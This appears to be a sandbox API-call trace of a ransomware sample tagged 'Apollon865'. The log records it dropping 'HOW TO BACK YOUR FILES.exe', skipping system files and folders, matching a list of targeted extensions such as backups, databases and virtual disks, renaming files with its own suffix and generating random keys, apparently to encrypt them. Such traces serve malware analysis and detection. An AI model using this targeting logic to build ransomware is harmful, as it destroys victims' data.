	[0073.582] lstrlenW (lpString=".lnk") returned 4
	[0073.582] lstrcmpiW (lpString1="Paper.eftx", lpString2=".lnk") returned 1
	[0073.582] lstrlenW (lpString=".ini") returned 4
	[0073.582] lstrcmpiW (lpString1="Paper.eftx", lpString2=".ini") returned 1
	[0073.582] lstrlenW (lpString=".sys") returned 4
	[0073.582] lstrcmpiW (lpString1="Paper.eftx", lpString2=".sys") returned 1
	[0073.582] lstrlenW (lpString="Paper.eftx") returned 10
	[0073.582] lstrcpyW (in: lpString1=0x2d3e5d6, lpString2="Perspective.eftx" | out: lpString1="Perspective.eftx") returned="Perspective.eftx"
	[0073.582] lstrlenW (lpString="Perspective.eftx") returned 16
	[0073.582] lstrlenW (lpString="Apollon865") returned 10
	[0073.582] lstrcmpiW (lpString1="ctive.eftx", lpString2="Apollon865") returned 1
	[0073.582] lstrlenW (lpString=".dll") returned 4
	[0073.582] lstrcmpiW (lpString1="Perspective.eftx", lpString2=".dll") returned 1
	[0073.582] lstrlenW (lpString=".lnk") returned 4
	[0073.582] lstrcmpiW (lpString1="Perspective.eftx", lpString2=".lnk") returned 1
	[0073.582] lstrlenW (lpString=".ini") returned 4
	[0073.582] lstrcmpiW (lpString1="Perspective.eftx", lpString2=".ini") returned 1
	[0073.582] lstrlenW (lpString=".sys") returned 4
	[0073.582] lstrcmpiW (lpString1="Perspective.eftx", lpString2=".sys") returned 1
	[0073.582] lstrlenW (lpString="Perspective.eftx") returned 16
	[0073.582] lstrcpyW (in: lpString1=0x2d3e5d6, lpString2="Pushpin.eftx" | out: lpString1="Pushpin.eftx") returned="Pushpin.eftx"
	[0073.582] lstrlenW (lpString="Pushpin.eftx") returned 12
	[0073.582] lstrlenW (lpString="Apollon865") returned 10
	[0073.582] lstrcmpiW (lpString1="shpin.eftx", lpString2="Apollon865") returned 1
	[0073.582] lstrlenW (lpString=".dll") returned 4
	[0073.582] lstrcmpiW (lpString1="Pushpin.eftx", lpString2=".dll") returned 1
	[0073.582] lstrlenW (lpString=".lnk") returned 4
	[0073.582] lstrcmpiW (lpString1="Pushpin.eftx", lpString2=".lnk") returned 1
	[0073.583] lstrlenW (lpString=".ini") returned 4
	[0073.583] lstrcmpiW (lpString1="Pushpin.eftx", lpString2=".ini") returned 1
	[0073.583] lstrlenW (lpString=".sys") returned 4
	[0073.583] lstrcmpiW (lpString1="Pushpin.eftx", lpString2=".sys") returned 1
	[0073.583] lstrlenW (lpString="Pushpin.eftx") returned 12
	[0073.583] lstrcpyW (in: lpString1=0x2d3e5d6, lpString2="Slipstream.eftx" | out: lpString1="Slipstream.eftx") returned="Slipstream.eftx"
	[0073.583] lstrlenW (lpString="Slipstream.eftx") returned 15
	[0073.583] lstrlenW (lpString="Apollon865") returned 10
	[0073.583] lstrcmpiW (lpString1="tream.eftx", lpString2="Apollon865") returned 1
	[0073.583] lstrlenW (lpString=".dll") returned 4
	[0073.583] lstrcmpiW (lpString1="Slipstream.eftx", lpString2=".dll") returned 1
	[0073.583] lstrlenW (lpString=".lnk") returned 4
	[0073.583] lstrcmpiW (lpString1="Slipstream.eftx", lpString2=".lnk") returned 1
	[0073.583] lstrlenW (lpString=".ini") returned 4
	[0073.583] lstrcmpiW (lpString1="Slipstream.eftx", lpString2=".ini") returned 1
	[0073.583] lstrlenW (lpString=".sys") returned 4
	[0073.583] lstrcmpiW (lpString1="Slipstream.eftx", lpString2=".sys") returned 1
	[0073.583] lstrlenW (lpString="Slipstream.eftx") returned 15
	[0073.583] lstrcpyW (in: lpString1=0x2d3e5d6, lpString2="Solstice.eftx" | out: lpString1="Solstice.eftx") returned="Solstice.eftx"
	[0073.583] lstrlenW (lpString="Solstice.eftx") returned 13
	[0073.583] lstrlenW (lpString="Apollon865") returned 10
	[0073.583] lstrcmpiW (lpString1="stice.eftx", lpString2="Apollon865") returned 1
	[0073.583] lstrlenW (lpString=".dll") returned 4
	[0073.583] lstrcmpiW (lpString1="Solstice.eftx", lpString2=".dll") returned 1
	[0073.583] lstrlenW (lpString=".lnk") returned 4
	[0073.583] lstrcmpiW (lpString1="Solstice.eftx", lpString2=".lnk") returned 1
	[0073.583] lstrlenW (lpString=".ini") returned 4
	[0073.583] lstrcmpiW (lpString1="Solstice.eftx", lpString2=".ini") returned 1
	[0073.583] lstrlenW (lpString=".sys") returned 4
	[0073.583] lstrcmpiW (lpString1="Solstice.eftx", lpString2=".sys") returned 1
	[0073.583] lstrlenW (lpString="Solstice.eftx") returned 13
	[0073.584] lstrcpyW (in: lpString1=0x2d3e5d6, lpString2="Technic.eftx" | out: lpString1="Technic.eftx") returned="Technic.eftx"
	[0073.584] lstrlenW (lpString="Technic.eftx") returned 12
	[0073.584] lstrlenW (lpString="Apollon865") returned 10
	[0073.584] lstrcmpiW (lpString1="chnic.eftx", lpString2="Apollon865") returned 1
	[0073.584] lstrlenW (lpString=".dll") returned 4
	[0073.584] lstrcmpiW (lpString1="Technic.eftx", lpString2=".dll") returned 1
	[0073.584] lstrlenW (lpString=".lnk") returned 4
	[0073.584] lstrcmpiW (lpString1="Technic.eftx", lpString2=".lnk") returned 1
	[0073.584] lstrlenW (lpString=".ini") returned 4
	[0073.584] lstrcmpiW (lpString1="Technic.eftx", lpString2=".ini") returned 1
	[0073.584] lstrlenW (lpString=".sys") returned 4
	[0073.584] lstrcmpiW (lpString1="Technic.eftx", lpString2=".sys") returned 1
	[0073.584] lstrlenW (lpString="Technic.eftx") returned 12
	[0073.584] lstrcpyW (in: lpString1=0x2d3e5d6, lpString2="Thatch.eftx" | out: lpString1="Thatch.eftx") returned="Thatch.eftx"
	[0073.584] lstrlenW (lpString="Thatch.eftx") returned 11
	[0073.584] lstrlenW (lpString="Apollon865") returned 10
	[0073.584] lstrcmpiW (lpString1="hatch.eftx", lpString2="Apollon865") returned 1
	[0073.584] lstrlenW (lpString=".dll") returned 4
	[0073.584] lstrcmpiW (lpString1="Thatch.eftx", lpString2=".dll") returned 1
	[0073.584] lstrlenW (lpString=".lnk") returned 4
	[0073.584] lstrcmpiW (lpString1="Thatch.eftx", lpString2=".lnk") returned 1
	[0073.584] lstrlenW (lpString=".ini") returned 4
	[0073.584] lstrcmpiW (lpString1="Thatch.eftx", lpString2=".ini") returned 1
	[0073.584] lstrlenW (lpString=".sys") returned 4
	[0073.584] lstrcmpiW (lpString1="Thatch.eftx", lpString2=".sys") returned 1
	[0073.584] lstrlenW (lpString="Thatch.eftx") returned 11
	[0073.584] lstrcpyW (in: lpString1=0x2d3e5d6, lpString2="Trek.eftx" | out: lpString1="Trek.eftx") returned="Trek.eftx"
	[0073.584] lstrlenW (lpString="Trek.eftx") returned 9
	[0073.584] lstrlenW (lpString="Apollon865") returned 10
	[0073.584] lstrlenW (lpString=".dll") returned 4
	[0073.585] lstrcmpiW (lpString1="Trek.eftx", lpString2=".dll") returned 1
	[0073.585] lstrlenW (lpString=".lnk") returned 4
	[0073.585] lstrcmpiW (lpString1="Trek.eftx", lpString2=".lnk") returned 1
	[0073.585] lstrlenW (lpString=".ini") returned 4
	[0073.585] lstrcmpiW (lpString1="Trek.eftx", lpString2=".ini") returned 1
	[0073.585] lstrlenW (lpString=".sys") returned 4
	[0073.585] lstrcmpiW (lpString1="Trek.eftx", lpString2=".sys") returned 1
	[0073.585] lstrlenW (lpString="Trek.eftx") returned 9
	[0073.585] lstrcpyW (in: lpString1=0x2d3e5d6, lpString2="Urban.eftx" | out: lpString1="Urban.eftx") returned="Urban.eftx"
	[0073.585] lstrlenW (lpString="Urban.eftx") returned 10
	[0073.585] lstrlenW (lpString="Apollon865") returned 10
	[0073.585] lstrlenW (lpString=".dll") returned 4
	[0073.585] lstrcmpiW (lpString1="Urban.eftx", lpString2=".dll") returned 1
	[0073.585] lstrlenW (lpString=".lnk") returned 4
	[0073.585] lstrcmpiW (lpString1="Urban.eftx", lpString2=".lnk") returned 1
	[0073.585] lstrlenW (lpString=".ini") returned 4
	[0073.585] lstrcmpiW (lpString1="Urban.eftx", lpString2=".ini") returned 1
	[0073.585] lstrlenW (lpString=".sys") returned 4
	[0073.585] lstrcmpiW (lpString1="Urban.eftx", lpString2=".sys") returned 1
	[0073.585] lstrlenW (lpString="Urban.eftx") returned 10
	[0073.585] lstrcpyW (in: lpString1=0x2d3e5d6, lpString2="Verve.eftx" | out: lpString1="Verve.eftx") returned="Verve.eftx"
	[0073.585] lstrlenW (lpString="Verve.eftx") returned 10
	[0073.585] lstrlenW (lpString="Apollon865") returned 10
	[0073.585] lstrlenW (lpString=".dll") returned 4
	[0073.585] lstrcmpiW (lpString1="Verve.eftx", lpString2=".dll") returned 1
	[0073.585] lstrlenW (lpString=".lnk") returned 4
	[0073.585] lstrcmpiW (lpString1="Verve.eftx", lpString2=".lnk") returned 1
	[0073.585] lstrlenW (lpString=".ini") returned 4
	[0073.585] lstrcmpiW (lpString1="Verve.eftx", lpString2=".ini") returned 1
	[0073.585] lstrlenW (lpString=".sys") returned 4
	[0073.585] lstrcmpiW (lpString1="Verve.eftx", lpString2=".sys") returned 1
	[0073.586] lstrlenW (lpString="Verve.eftx") returned 10
	[0073.586] lstrcpyW (in: lpString1=0x2d3e5d6, lpString2="Waveform.eftx" | out: lpString1="Waveform.eftx") returned="Waveform.eftx"
	[0073.603] lstrlenW (lpString="Waveform.eftx") returned 13
	[0073.603] lstrlenW (lpString="Apollon865") returned 10
	[0073.603] lstrcmpiW (lpString1="eform.eftx", lpString2="Apollon865") returned 1
	[0073.603] lstrlenW (lpString=".dll") returned 4
	[0073.603] lstrcmpiW (lpString1="Waveform.eftx", lpString2=".dll") returned 1
	[0073.603] lstrlenW (lpString=".lnk") returned 4
	[0073.603] lstrcmpiW (lpString1="Waveform.eftx", lpString2=".lnk") returned 1
	[0073.603] lstrlenW (lpString=".ini") returned 4
	[0073.603] lstrcmpiW (lpString1="Waveform.eftx", lpString2=".ini") returned 1
	[0073.603] lstrlenW (lpString=".sys") returned 4
	[0073.603] lstrcmpiW (lpString1="Waveform.eftx", lpString2=".sys") returned 1
	[0073.603] lstrlenW (lpString="Waveform.eftx") returned 13
	[0073.603] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors"
	[0073.604] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b8f28 | out: hHeap=0x580000) returned 1
	[0073.604] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7968 | out: hHeap=0x580000) returned 1
	[0073.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors") returned 65
	[0073.604] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors" | out: lpString1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors"
	[0073.604] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0073.604] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0073.704] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0073.704] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c9cf70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x4400d370, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x4400d370, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0073.739] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0073.739] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0073.739] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0073.739] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c9cf70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x4400d370, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x4400d370, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0073.740] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0073.740] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0073.740] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0073.740] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0073.740] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xccc5300, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xccc5300, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3a0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Adjacency.xml", cAlternateFileName="ADJACE~1.XML")) returned 1
	[0073.740] lstrcmpiW (lpString1="Adjacency.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0073.740] lstrcmpiW (lpString1="Adjacency.xml", lpString2="Apollon865.txt.exe") returned -1
	[0073.740] lstrcmpiW (lpString1="Adjacency.xml", lpString2=".") returned 1
	[0073.740] lstrcmpiW (lpString1="Adjacency.xml", lpString2="..") returned 1
	[0073.740] lstrcmpiW (lpString1="Adjacency.xml", lpString2="windows") returned -1
	[0073.740] lstrcmpiW (lpString1="Adjacency.xml", lpString2="bootmgr") returned -1
	[0073.740] lstrcmpiW (lpString1="Adjacency.xml", lpString2="temp") returned -1
	[0073.740] lstrcmpiW (lpString1="Adjacency.xml", lpString2="pagefile.sys") returned -1
	[0073.740] lstrcmpiW (lpString1="Adjacency.xml", lpString2="boot") returned -1
	[0073.740] lstrcmpiW (lpString1="Adjacency.xml", lpString2="ids.txt") returned -1
	[0073.740] lstrcmpiW (lpString1="Adjacency.xml", lpString2="ntuser.dat") returned -1
	[0073.740] lstrcmpiW (lpString1="Adjacency.xml", lpString2="perflogs") returned -1
	[0073.740] lstrcmpiW (lpString1="Adjacency.xml", lpString2="MSBuild") returned -1
	[0073.740] lstrlenW (lpString="Adjacency.xml") returned 13
	[0073.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\*") returned 67
	[0073.740] lstrcpyW (in: lpString1=0x2d3e5d4, lpString2="Adjacency.xml" | out: lpString1="Adjacency.xml") returned="Adjacency.xml"
	[0073.740] lstrlenW (lpString="Adjacency.xml") returned 13
	[0073.740] lstrlenW (lpString="Apollon865") returned 10
	[0073.740] lstrcmpiW (lpString1="acency.xml", lpString2="Apollon865") returned -1
	[0073.740] lstrlenW (lpString=".dll") returned 4
	[0073.740] lstrcmpiW (lpString1="Adjacency.xml", lpString2=".dll") returned 1
	[0073.740] lstrlenW (lpString=".lnk") returned 4
	[0073.740] lstrcmpiW (lpString1="Adjacency.xml", lpString2=".lnk") returned 1
	[0073.740] lstrlenW (lpString=".ini") returned 4
	[0073.740] lstrcmpiW (lpString1="Adjacency.xml", lpString2=".ini") returned 1
	[0073.740] lstrlenW (lpString=".sys") returned 4
	[0073.740] lstrcmpiW (lpString1="Adjacency.xml", lpString2=".sys") returned 1
	[0073.740] lstrlenW (lpString="Adjacency.xml") returned 13
	[0073.741] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Adjacency.xml.Apollon865") returned 90
	[0073.741] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Adjacency.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\adjacency.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Adjacency.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\adjacency.xml.apollon865"), dwFlags=0x1) returned 1
	[0073.743] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Adjacency.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\adjacency.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x150
	[0073.743] GetFileSizeEx (in: hFile=0x150, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=928) returned 1
	[0073.743] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3390020
	[0073.755] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0073.756] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0073.756] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0073.756] CreateFileMappingW (hFile=0x150, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6a0, lpName=0x0) returned 0x118
	[0073.760] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6a0) returned 0x100000
	[0073.762] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0073.763] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0073.763] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0073.763] lstrcmpiW (lpString1="Angles.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0073.764] lstrcmpiW (lpString1="Angles.xml", lpString2="Apollon865.txt.exe") returned -1
	[0073.764] lstrcmpiW (lpString1="Angles.xml", lpString2=".") returned 1
	[0073.764] lstrcmpiW (lpString1="Angles.xml", lpString2="..") returned 1
	[0073.764] lstrcmpiW (lpString1="Angles.xml", lpString2="windows") returned -1
	[0073.764] lstrcmpiW (lpString1="Angles.xml", lpString2="bootmgr") returned -1
	[0073.764] lstrcmpiW (lpString1="Angles.xml", lpString2="temp") returned -1
	[0073.764] lstrcmpiW (lpString1="Angles.xml", lpString2="pagefile.sys") returned -1
	[0073.764] lstrcmpiW (lpString1="Angles.xml", lpString2="boot") returned -1
	[0073.764] lstrcmpiW (lpString1="Angles.xml", lpString2="ids.txt") returned -1
	[0073.764] lstrcmpiW (lpString1="Angles.xml", lpString2="ntuser.dat") returned -1
	[0073.764] lstrcmpiW (lpString1="Angles.xml", lpString2="perflogs") returned -1
	[0073.764] lstrcmpiW (lpString1="Angles.xml", lpString2="MSBuild") returned -1
	[0073.764] lstrlenW (lpString="Angles.xml") returned 10
	[0073.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Adjacency.xml") returned 79
	[0073.764] lstrcpyW (in: lpString1=0x2d3e5d4, lpString2="Angles.xml" | out: lpString1="Angles.xml") returned="Angles.xml"
	[0073.764] lstrlenW (lpString="Angles.xml") returned 10
	[0073.764] lstrlenW (lpString="Apollon865") returned 10
	[0073.764] lstrlenW (lpString=".dll") returned 4
	[0073.764] lstrcmpiW (lpString1="Angles.xml", lpString2=".dll") returned 1
	[0073.764] lstrlenW (lpString=".lnk") returned 4
	[0073.764] lstrcmpiW (lpString1="Angles.xml", lpString2=".lnk") returned 1
	[0073.764] lstrlenW (lpString=".ini") returned 4
	[0073.764] lstrcmpiW (lpString1="Angles.xml", lpString2=".ini") returned 1
	[0073.764] lstrlenW (lpString=".sys") returned 4
	[0073.764] lstrcmpiW (lpString1="Angles.xml", lpString2=".sys") returned 1
	[0073.764] lstrlenW (lpString="Angles.xml") returned 10
	[0073.764] lstrlenW (lpString="bak") returned 3
	[0073.764] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1
	[0073.764] lstrlenW (lpString="ba_") returned 3
	[0073.764] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1
	[0073.764] lstrlenW (lpString="dbb") returned 3
	[0073.764] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1
	[0073.764] lstrlenW (lpString="vmdk") returned 4
	[0073.764] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1
	[0073.764] lstrlenW (lpString="rar") returned 3
	[0073.764] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1
	[0073.764] lstrlenW (lpString="zip") returned 3
	[0073.764] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1
	[0073.765] lstrlenW (lpString="tgz") returned 3
	[0073.765] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1
	[0073.765] lstrlenW (lpString="vbox") returned 4
	[0073.765] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1
	[0073.765] lstrlenW (lpString="vdi") returned 3
	[0073.765] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1
	[0073.765] lstrlenW (lpString="vhd") returned 3
	[0073.765] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1
	[0073.765] lstrlenW (lpString="vhdx") returned 4
	[0073.765] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1
	[0073.765] lstrlenW (lpString="avhd") returned 4
	[0073.765] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1
	[0073.765] lstrlenW (lpString="db") returned 2
	[0073.765] lstrcmpiW (lpString1="ml", lpString2="db") returned 1
	[0073.765] lstrlenW (lpString="db2") returned 3
	[0073.765] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1
	[0073.765] lstrlenW (lpString="db3") returned 3
	[0073.765] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1
	[0073.765] lstrlenW (lpString="dbf") returned 3
	[0073.765] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1
	[0073.765] lstrlenW (lpString="mdf") returned 3
	[0073.765] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1
	[0073.765] lstrlenW (lpString="mdb") returned 3
	[0073.765] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1
	[0073.765] lstrlenW (lpString="sql") returned 3
	[0073.765] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1
	[0073.765] lstrlenW (lpString="sqlite") returned 6
	[0073.765] lstrcmpiW (lpString1="es.xml", lpString2="sqlite") returned -1
	[0073.765] lstrlenW (lpString="sqlite3") returned 7
	[0073.765] lstrcmpiW (lpString1="les.xml", lpString2="sqlite3") returned -1
	[0073.765] lstrlenW (lpString="sqlitedb") returned 8
	[0073.765] lstrcmpiW (lpString1="gles.xml", lpString2="sqlitedb") returned -1
	[0073.765] lstrlenW (lpString="xml") returned 3
	[0073.765] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0
	[0073.765] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Angles.xml.Apollon865") returned 87
	[0073.766] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Angles.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\angles.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Angles.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\angles.xml.apollon865"), dwFlags=0x1) returned 1
	[0073.766] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Angles.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\angles.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x150
	[0073.767] GetFileSizeEx (in: hFile=0x150, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=925) returned 1
	[0073.767] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0073.768] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0073.768] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0073.768] CreateFileMappingW (hFile=0x150, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6a0, lpName=0x0) returned 0x118
	[0073.769] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6a0) returned 0x100000
	[0073.770] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0073.770] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0073.770] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0073.771] lstrcmpiW (lpString1="Apex.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0073.771] lstrcmpiW (lpString1="Apex.xml", lpString2="Apollon865.txt.exe") returned -1
	[0073.771] lstrcmpiW (lpString1="Apex.xml", lpString2=".") returned 1
	[0073.771] lstrcmpiW (lpString1="Apex.xml", lpString2="..") returned 1
	[0073.771] lstrcmpiW (lpString1="Apex.xml", lpString2="windows") returned -1
	[0073.771] lstrcmpiW (lpString1="Apex.xml", lpString2="bootmgr") returned -1
	[0073.771] lstrcmpiW (lpString1="Apex.xml", lpString2="temp") returned -1
	[0073.771] lstrcmpiW (lpString1="Apex.xml", lpString2="pagefile.sys") returned -1
	[0073.771] lstrcmpiW (lpString1="Apex.xml", lpString2="boot") returned -1
	[0073.771] lstrcmpiW (lpString1="Apex.xml", lpString2="ids.txt") returned -1
	[0073.771] lstrcmpiW (lpString1="Apex.xml", lpString2="ntuser.dat") returned -1
	[0073.771] lstrcmpiW (lpString1="Apex.xml", lpString2="perflogs") returned -1
	[0073.771] lstrcmpiW (lpString1="Apex.xml", lpString2="MSBuild") returned -1
	[0073.771] lstrlenW (lpString="Apex.xml") returned 8
	[0073.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Angles.xml") returned 76
	[0073.771] lstrcpyW (in: lpString1=0x2d3e5d4, lpString2="Apex.xml" | out: lpString1="Apex.xml") returned="Apex.xml"
	[0073.771] lstrlenW (lpString="Apex.xml") returned 8
	[0073.771] lstrlenW (lpString="Apollon865") returned 10
	[0073.771] lstrlenW (lpString=".dll") returned 4
	[0073.771] lstrcmpiW (lpString1="Apex.xml", lpString2=".dll") returned 1
	[0073.771] lstrlenW (lpString=".lnk") returned 4
	[0073.771] lstrcmpiW (lpString1="Apex.xml", lpString2=".lnk") returned 1
	[0073.771] lstrlenW (lpString=".ini") returned 4
	[0073.771] lstrcmpiW (lpString1="Apex.xml", lpString2=".ini") returned 1
	[0073.771] lstrlenW (lpString=".sys") returned 4
	[0073.772] lstrcmpiW (lpString1="Apex.xml", lpString2=".sys") returned 1
	[0073.772] lstrlenW (lpString="Apex.xml") returned 8
	[0073.772] lstrlenW (lpString="bak") returned 3
	[0073.772] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1
	[0073.772] lstrlenW (lpString="ba_") returned 3
	[0073.772] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1
	[0073.772] lstrlenW (lpString="dbb") returned 3
	[0073.772] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1
	[0073.772] lstrlenW (lpString="vmdk") returned 4
